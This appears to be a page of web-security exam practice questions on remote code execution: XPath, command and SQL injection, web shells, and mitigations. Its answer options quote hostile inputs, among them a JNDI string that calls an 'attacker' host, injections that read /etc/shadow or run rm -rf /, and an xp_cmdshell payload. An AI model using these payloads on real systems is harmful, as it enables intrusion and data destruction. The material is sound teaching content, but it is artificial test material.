Remote Code Execution (RCE) WAHS Practice Questions (Page 3)

Questions 11–15

1. 11application · medium

   A web application uses an XPath query to retrieve user details: `//user[name='<input>' and pass='<password>']`. The input is not sanitized. Which XPath injection payload could bypass authentication?

   • A`' or '1'='1`
   • B`<script>alert(1)</script>`
   • C`admin' --`
   • D`${jndi:ldap://attacker/a}`
   Reveal Solution Discussion Select an answer first
2. 12application · medium

   A penetration tester is assessing a web application that passes a user-supplied filename to a `grep` command on the server. The application does not validate the input. Which manual test would most safely confirm command injection?

   • ASubmit `test.txt; sleep 5` and measure the response time.
   • BSubmit `test.txt | cat /etc/shadow` and look for password hashes.
   • CSubmit `test.txt && rm -rf /` and check if the server crashes.
   • DSubmit `test.txt & ping -c 1000 localhost` to create a denial-of-service.
   Reveal Solution Discussion Select an answer first
4. 13application · medium

   A development team is hardening a web application that previously suffered from command injection and code injection. They want to implement a single, high-impact control that addresses both vulnerability classes. Which control is most effective?

   • ADisable client-side scripting in the browser.
   • BUse a web application firewall (WAF) as the primary defense.
   • CImplement a strict allowlist for all user inputs.
   • DUse parameterized queries for all database access.
   Reveal Solution Discussion Select an answer first
5. 14foundation · easy

   What is a web shell in the context of file upload attacks?

   • AA tool used to scan a website for vulnerabilities.
   • BA malicious script uploaded to a server that provides a web-based interface to execute commands.
   • CA script that automatically patches the server's security vulnerabilities.
   • DA file that contains a list of all valid users of the application.
   Reveal Solution Discussion Select an answer first
6. 15application · medium

   A SQL Server database has `xp_cmdshell` enabled. A web application builds a dynamic SQL query from user input. An attacker injects `'; EXEC xp_cmdshell 'whoami'; --` and the response includes the OS user. Which of the following is the most effective mitigation?

   • AAdd a WAF rule to block requests containing `xp_cmdshell`.
   • BEscape single quotes in all user input before building the query.
   • CUse parameterized queries for all database access and disable `xp_cmdshell` if it is not required.
   • DRestrict the database user's permissions to only the required tables.
   Reveal Solution Discussion Select an answer first